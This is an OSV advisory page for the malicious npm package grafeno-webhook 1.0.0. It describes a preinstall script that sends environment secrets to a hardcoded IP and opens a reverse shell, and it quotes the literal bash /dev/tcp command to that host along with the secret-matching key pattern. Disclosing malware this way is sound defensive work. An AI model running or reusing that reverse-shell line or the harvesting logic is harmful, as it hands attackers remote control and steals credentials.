grafeno-webhook @1.0.0
Vulnerability report · Last retrieved from osv.dev August 30, 2026 at 12:37 AM UTC
OSV ID
MAL-2026-15573
Ecosystem
npm
Summary
The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.
Source: amazon-inspector (79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.